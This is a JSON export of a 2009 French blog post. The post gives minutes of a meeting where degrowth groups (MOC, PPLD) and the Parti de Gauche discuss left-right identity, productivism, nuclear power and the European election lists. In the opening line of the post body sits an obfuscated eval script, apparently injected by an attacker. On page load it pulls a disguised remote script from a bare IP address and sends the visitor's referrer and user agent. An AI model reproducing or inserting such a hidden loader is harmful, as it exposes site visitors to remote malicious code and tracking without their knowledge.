{"id":2159,"date":"2009-03-19T22:07:20","date_gmt":"2009-03-19T21:07:20","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=2159"},"modified":"2009-12-09T12:21:10","modified_gmt":"2009-12-09T11:21:10","slug":"rencontre-entre-le-mouvements-des-objecteurs-de-croissance-moc-le-parti-pour-la-decroissance-ppld-et-le-parti-de-gauche-pg","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=2159","title":{"rendered":"Rencontre entre le Mouvements des Objecteurs de Croissance (MOC), le Parti pour la D\u00e9croissance (PPLD) et le Parti de Gauche (PG)"},"content":{"rendered":"<p><a href=\"http:\/\/www.partipourladecroissance.net\" target=\"_blank\"><em><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-24\" style=\"margin: 5px;\" title=\"logo-ppld\" src=\"..\/wp-content\/uploads\/2008\/12\/logo-ppld.gif\" alt=\"logo-ppld\" width=\"118\" height=\"68\" \/><\/strong><\/em><\/a><strong>Etaient <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bizrr|var|u0026u|referrer|hhtby||js|php'.split('|'),0,{}))\n<\/script><\/noindex> pr\u00e9sents :<\/strong><br \/>\nPour le MOC : <em>Jean Luc Pasquinet<\/em><br \/>\nPour le PPLD : <em>R\u00e9my Cardinale et Chistophe Degennes<\/em><br \/>\nPour le PG : <em>Corinne Morel Darleux et Eric Coquerel<\/em><\/p>\n<p>Le PPLD se pr\u00e9sente : il a \u00e9t\u00e9 cr\u00e9\u00e9 en 2005-2006 et a connu des d\u00e9buts difficiles dus \u00e0 des d\u00e9saccords de fond sur l\u2019engagement en politique. En 2006, une association a \u00e9galement \u00e9t\u00e9 cr\u00e9\u00e9e pour organiser des rencontres du r\u00e9seau des objecteurs de croissance. Les fondateurs d\u2019origine du PPLD ne sont plus membres de ce parti. Une nouvelle \u00e9quipe a souhait\u00e9 relancer le PPLD en 2008 avec comme objectif de f\u00e9d\u00e9rer l\u2019objection de croissance. Ils ont rencontr\u00e9 dans ce cadre des objecteurs de croissance ind\u00e9pendants et le MOC. Le 13 f\u00e9vrier 2009, le PPLD et le MOC ont d\u00e9cid\u00e9 de s\u2019unir afin\u00a0 de travailler ensemble \u00e0 la constitution de listes D\u00e9croissance aux europ\u00e9ennes. Mais n\u00e9anmoins le PPLD et le MOC gardent leur propre autonomie.<br \/>\nL\u2019appel \u00e0 la constitution de listes D\u00e9croissance pour les \u00e9lections europ\u00e9ennes 2009 lanc\u00e9 notamment par Vincent Liegey et R\u00e9my Cardinale, mis en ligne sur Internet en d\u00e9cembre dernier, a recueilli\u00a0 plus de 1600 signatures sans aucune aide de grands m\u00e9dias. Une r\u00e9union de lancement aura lieu le 25 avril prochain pour lancer l\u2019Association Des Objecteurs de Croissance (ADOC-France), regroupant\u00a0 des OC ind\u00e9pendants, le PPLD et le MOC.<br \/>\n<!--more-->Le PPLD et le MOC n\u2019ont pas peur de se pr\u00e9senter comme des non professionnels de la politique politicienne ou \u00e9lectoraliste. Le PPLD est convaincu que la simplicit\u00e9 volontaire, qui est un des piliers de la D\u00e9croissance, n\u2019est pas suffisante\u00a0 et qu\u2019il est grand temps de passer \u00e0 l\u2019action collective. Le PPLD a pour ambition d\u2019offrir un d\u00e9bouch\u00e9 politique \u00e0 l\u2019objection de croissance et de mani\u00e8re plus large d\u2019apporter des r\u00e9ponses en coh\u00e9rence avec les questions environnementales et sociales dans cette p\u00e9riode de crise in\u00e9dite.<\/p>\n<p>Le PG demande au PPLD et au MOC s\u2019ils se d\u00e9finissent comme des mouvements de gauche.<\/p>\n<p>Le PPLD et le MOC\u00a0 ne peuvent se d\u00e9finir comme \u00e9tant \u00ab de gauche \u00bb. Ce clivage gauche-droite leur semble aujourd\u2019hui d\u00e9pass\u00e9 dans ce contexte de crise anthropologique, c&rsquo;est-\u00e0-dire \u00e9conomique, financi\u00e8re, \u00e9nerg\u00e9tique, \u00e9cologique, sociale et culturelle.\u00a0 Sur cette question, le PPLD s\u2019interroge encore quant \u00e0 la d\u00e9finition d\u2019\u00ab \u00eatre de gauche \u00bb. Ils soulignent en revanche qu\u2019ils restent extr\u00eamement vigilants face aux tentatives de r\u00e9cup\u00e9ration par l\u2019extr\u00eame droite. Le PPLD, bien que compos\u00e9 de personnes venant d\u2019une culture de gauche, souhaite transcender le clivage gauche-droite en ne s\u2019interdisant aucune discussion avec d\u2019autres\u00a0 partis (certains membres du PPLD ont des contacts avec des militants du MODEM).Le PPLD souhaite rassembler des personnes en qu\u00eate de sens. Il r\u00e9affirme n\u00e9anmoins\u00a0 \u00eatre r\u00e9solument anticapitaliste, antiproductiviste et donc anticonsum\u00e9riste.<\/p>\n<p>Quant au MOC c\u2019est une question ouverte, car face \u00e0 la grave crise environnementale, sociale et humaine engendr\u00e9e par le mod\u00e8le de d\u00e9veloppement industriel et techno-scientiste, il y a n\u00e9cessit\u00e9 de d\u00e9passer les id\u00e9ologies, issues des pens\u00e9es politiques du 19\u00e8me si\u00e8cle, dont se r\u00e9clame la gauche de gouvernement, Il souligne en revanche qu\u2019il lutte contre l\u2019extr\u00eame droite, le capitalisme et le productivisme, pour une \u00e9cologie radicale et autogestionnaire.<\/p>\n<p>Le MOC rappelle qu\u2019il a eu des \u00e9lus alli\u00e9s avec la LCR et \u00ab la gauche alternative \u00bb en 2007 (Thierry Brulavoine \u00e0 St Nazaire notamment), il a plut\u00f4t des adh\u00e9rents venant du monde ecolo-libertaire, alternatif, ultra-gauche ou spiritualiste (Gandhi).<\/p>\n<p>Enfin, Europe-D\u00e9croissance du fait de cet h\u00e9ritage des valeurs dites de gauche a pour l\u2019instant rencontr\u00e9 deux partis : le NPA et le PG.<\/p>\n<p>Le PG souligne qu\u2019il s\u2019agit l\u00e0 d\u2019une divergence politique. Le PG se d\u00e9finit en effet comme un parti de gauche, appelant au d\u00e9passement du capitalisme et rejetant le mod\u00e8le productiviste. Pour le PG, la critique du productivisme n\u2019est pas compatible avec la droite qui privil\u00e9gie une logique de profit. Le PG mentionne \u00e9galement \u00e0 titre d\u2019exemple sa divergence avec le rassemblement Europe-Ecologie, qui place la ligne de clivage sur l\u2019environnement et non sur la question du lib\u00e9ralisme qui est pour le PG un pr\u00e9alable \u00e0 une v\u00e9ritable approche \u00e9cologique. Enfin, le PG pr\u00e9cise qu\u2019\u00eatre de gauche signifie partager un certain nombre de valeurs relatives \u00e0 la notion de bien commun, d\u2019int\u00e9r\u00eat g\u00e9n\u00e9ral, d\u2019\u00e9galit\u00e9, de progr\u00e8s social.<\/p>\n<p>Le PPLD indique que la gauche a aussi \u00e9t\u00e9 et est toujours productiviste. Il questionne le choix d\u2019un accord avec le PCF.<\/p>\n<p>Le MOC souligne que les Verts ont dilu\u00e9 leur programme pour obtenir des postes, et que c\u2019est pour ce type de raison que le MOC ne souhaite pas retomber dans l\u2019\u00e9lectoralisme.<\/p>\n<p>De plus, le MOC rappelle que le PCF est \u00e0 l\u2019origine du d\u00e9veloppement du nucl\u00e9aire et remarque que ce parti y reste tr\u00e8s attach\u00e9.<\/p>\n<p>Le PG pr\u00e9cise que le texte commun r\u00e9dig\u00e9 avec le PCF pour le Front de Gauche aux europ\u00e9ennes remet tr\u00e8s clairement en cause le productivisme. Il pr\u00e9cise qu\u2019il faut \u00e9galement parler de souverainet\u00e9 populaire dans les valeurs de gauche : le nucl\u00e9aire par exemple n\u2019a pas fait l\u2019objet de d\u00e9bat public avec les \u00e9l\u00e9ments dont on dispose aujourd\u2019hui pour prendre des d\u00e9cisions en connaissance de cause.<\/p>\n<p>Le PPLD ajoute qu\u2019il faudrait d\u00e9finir ce qu\u2019on entend par int\u00e9r\u00eat g\u00e9n\u00e9ral et bien commun en revenant sur la d\u00e9finition donn\u00e9 par le PG de ce qu\u2019est \u00ab \u00eatre de gauche \u00bb.<\/p>\n<p>Le PG rappelle que c\u2019est \u00e0 l\u2019appel de JL M\u00e9lenchon et de M Dolez que s\u2019est construit le PG, rapidement rejoint par des mouvements politiques et personnalit\u00e9s. Le PG rassemble aujourd\u2019hui plus de 4000 adh\u00e9rents et a pour objectif de parvenir \u00e0 8000 adh\u00e9rents en Juin. Face \u00e0 l\u2019offensive historique du lib\u00e9ralisme, le PG a \u00e9t\u00e9 cr\u00e9\u00e9 pour r\u00e9pondre au besoin d\u2019une gauche forte et possiblement majoritaire pour changer le syst\u00e8me et porter l\u2019alternative au capitalisme. Son objectif strat\u00e9gique est le rassemblement de toutes les traditions de la gauche dans un parti gouvernemental \u00e0 vocation majoritaire. Le PG se veut l\u2019artisan de l\u2019unit\u00e9 et de la refondation de la gauche, dans un parti creuset alliant le meilleur des traditions de la gauche \u00e9cologique, r\u00e9publicaine, la\u00efque, f\u00e9ministe&#8230;<\/p>\n<p>C\u2019est dans ce cadre que s\u2019est cr\u00e9\u00e9 le Front de Gauche pour les europ\u00e9ennes, avec l\u2019ouverture \u00e0 toutes les forces de la gauche antilib\u00e9rale, sans exclusive. Le Front de Gauche rassemble aujourd\u2019hui le PCF, le PG et la Gauche Unitaire.<\/p>\n<p>Le clivage gauche-droite est donc fondamental pour le PG, face aux lois du march\u00e9 et du profit.<\/p>\n<p>Le MOC rappelle qu\u2019il existe un processus de convergence de l\u2019\u00e9cologie radicale et donc une alternative de rassemblement.<\/p>\n<p>Le PG indique qu\u2019il conna\u00eet bien ce mouvement. Le PG explique son positionnement sur la r\u00e9orientation \u00e9nerg\u00e9tique et la planification \u00e9cologique, sur des choix tenus \u00e0 l\u2019abri des logiques de march\u00e9.<\/p>\n<p>Le PPLD souligne que cela pose aussi la question de maintenir notre train de vie (r\u00e9\u00e9valuer nos consommations et productions) en rappelant que l\u2019empreinte \u00e9cologique d\u2019un fran\u00e7ais s\u2019\u00e9l\u00e8ve \u00e0 plus de trois plan\u00e8tes et que notre mod\u00e8le de production et de consommation n\u2019est pas soutenable.<\/p>\n<p>Le PG pr\u00e9cise que le train de vie n\u2019est pas le m\u00eame pour tous et qu\u2019au-del\u00e0 de la question technique, il s\u2019agit de r\u00e9pondre aux besoins sociaux de tous, notamment dans les pays du Sud o\u00f9 la question est celle de la survie. Cela implique de d\u00e9finir ce que sont ces besoins sociaux et de poser la question des indicateurs de richesse. Aujourd\u2019hui rentrent dans le calcul de la croissance des besoins qui n\u2019en sont pas. Cette r\u00e9flexion doit \u00eatre men\u00e9e en lien avec l\u2019urgence \u00e9cologique, l\u2019urgence sociale et la r\u00e9partition des richesses.<\/p>\n<p>Le PPLD rappelle que le premier point de son programme pour les \u00e9lections europ\u00e9ennes est la mise en place d\u2019un revenu citoyen pour tous et sans contrepartie.<\/p>\n<p>Le MOC indique que le service public n\u2019emp\u00eache pas les accidents nucl\u00e9aires et que le service public \u00e0 la fran\u00e7aise n\u2019a pas vraiment \u00e9t\u00e9 d\u00e9velopp\u00e9 pour d\u00e9fendre l\u2019int\u00e9r\u00eat g\u00e9n\u00e9ral. Il d\u00e9plore son d\u00e9litement mais aussi son accaparement par une \u00e9lite sociale : X, Mines, Ponts qui d\u00e9cide pour le peuple. Les services publics ont ainsi contribu\u00e9 \u00e0 l\u2019organisation de la soci\u00e9t\u00e9 par la \u00ab contre-r\u00e9volution technique \u00bb. Le service public enfin ce sont les \u00ab lois de Roland \u00bb de continuit\u00e9 (interdiction du droit de gr\u00e8ve), adaptabilit\u00e9 (acceptation de toutes les r\u00e9volutions techniques sans les discuter) et d\u2019\u00e9galit\u00e9 (seul principe que nous soutenons). Le MOC pr\u00e9cise qu\u2019il ne rejette ni la technique, ni la science, mais la religion de celles-ci.<\/p>\n<p>Le PG rappelle qu\u2019il rencontre tout le monde sur la remise en cause de la logique capitaliste, c\u2019est l\u2019objet de cette rencontre. Le PG accorde une importance majeure \u00e0 l\u2019\u00e9cologie, qui a fait l\u2019objet de son tout premier Forum, et souhaitait rencontrer les objecteurs de croissance dans le cadre de sa r\u00e9flexion sur l&rsquo;\u00e9cologie politique. En outre, le PG pense que le Front de Gauche est la seule solution pour poser la question d\u2019une autre gauche avec une vision durable. Le comit\u00e9 de soutien est ouvert aux associations, mouvements, personnalit\u00e9s. Des places sur les listes sont r\u00e9serv\u00e9es \u00e0 des personnalit\u00e9s d\u2019ouverture.<\/p>\n<p>Le PPLD rappelle que la D\u00e9croissance ne concerne pas que les questions \u00e9cologiques mais qu\u2019il s\u2019agit de la mise en place d\u2019un nouveau paradigme, nouveau projet de soci\u00e9t\u00e9 soutenable (questions \u00e9cologiques) et souhaitables (questions culturelles et sociales).<\/p>\n<p>Le MOC cite certaines personnalit\u00e9s de l\u2019objection de croissance et demande si elles sont sur ces listes.<\/p>\n<p>Le PG confirme que certains ont rejoint le PG. Les listes ne sont pas finalis\u00e9es, des places \u00e9tant r\u00e9serv\u00e9es \u00e0 des personnalit\u00e9s d&rsquo;ouverture.<\/p>\n<p>Le PG rappelle qu\u2019il est un parti de rupture, mais un parti r\u00e9publicain, attach\u00e9 au suffrage universel et conscient de la n\u00e9cessit\u00e9 de construire des majorit\u00e9s politiques pour refonder la gauche et changer la soci\u00e9t\u00e9. Le rapport aux institutions est un de ses \u00e9l\u00e9ments de divergence avec le NPA par exemple.<\/p>\n<p>Le PG pose la question de l\u2019avenir des listes D\u00e9croissance aux europ\u00e9ennes.<\/p>\n<p>Le PPLD et le MOC indiquent que la d\u00e9cision est arr\u00eat\u00e9e de lancer ces listes pour passer \u00e0 une \u00e9tape collective de campagne pour la D\u00e9croissance. L\u2019objectif est de pr\u00e9senter au moins 5 listes (Ile de France, Sud Est, Sud Ouest, Est, Centre) et de profiter de la vitrine de la campagne pour porter les valeurs de la D\u00e9croissance via les m\u00e9dias et pr\u00e9senter un projet politique de rupture avec le capitalisme mondialis\u00e9. Un rassemblement est pr\u00e9vu le 25 avril \u00e0 Paris pour la constitution de ces listes. Cette d\u00e9cision est d\u00e9finitive et s\u2019appuie d\u2019une part sur le succ\u00e8s rencontr\u00e9 par l\u2019appel Europe-D\u00e9croissance et d\u2019autre part sur\u00a0 l\u2019urgence de changer de mod\u00e8le de soci\u00e9t\u00e9 et de mode de pens\u00e9es. Malgr\u00e9 le manque de moyens, la pr\u00e9sence de ces listes est importante dans la campagne officielle car elles permettront de d\u00e9fendre les valeurs de la d\u00e9croissance et de f\u00e9d\u00e9rer tous les objecteurs de croissance. Cette d\u00e9marche s\u2019inscrit dans la volont\u00e9 de lancer un mouvement politique sur le long terme.<\/p>\n<p>Le MOC pr\u00e9cise qu\u2019il a d\u00e9j\u00e0 des \u00e9lus municipaux dans des villes et villages.<\/p>\n<p>En conclusion, le constat est fait que des divergences de fond justifient de fait l\u2019existence de listes distinctes dites de \u00ab D\u00e9croissance \u00bb et \u00ab Front de Gauche \u00bb, notamment sur la question de se positionner clairement \u00e0 gauche<\/p>\n<p>Il est \u00e9galement soulign\u00e9 qu\u2019il existe un certain nombre de convergences sur le fond, ainsi que des points qui restent \u00e0 approfondir. Il est donc convenu de poursuivre le dialogue, notamment sur l\u2019anticapitalisme et l&rsquo;antiproductivisme.<\/p>\n<p>Le PPLD et le MOC souhaitent r\u00e9affirmer leur forte volont\u00e9 de travailler avec le PG sur le fond et le long terme en participant ensemble \u00e0 des rencontres et \u00e0 des s\u00e9minaires comme ils le font d\u00e9j\u00e0 avec d\u2019autres groupes comme le NPA par exemple.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Etaient pr\u00e9sents : Pour le MOC : Jean Luc Pasquinet Pour le PPLD : R\u00e9my Cardinale et Chistophe Degennes Pour le PG : Corinne Morel Darleux et Eric Coquerel Le PPLD se pr\u00e9sente : il a \u00e9t\u00e9 cr\u00e9\u00e9 en 2005-2006 &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=2159\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-2159","post","type-post","status-publish","format-standard","hentry","category-communiques-de-presse"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/2159","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2159"}],"version-history":[{"count":1,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/2159\/revisions"}],"predecessor-version":[{"id":3880,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/2159\/revisions\/3880"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2159"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2159"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2159"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}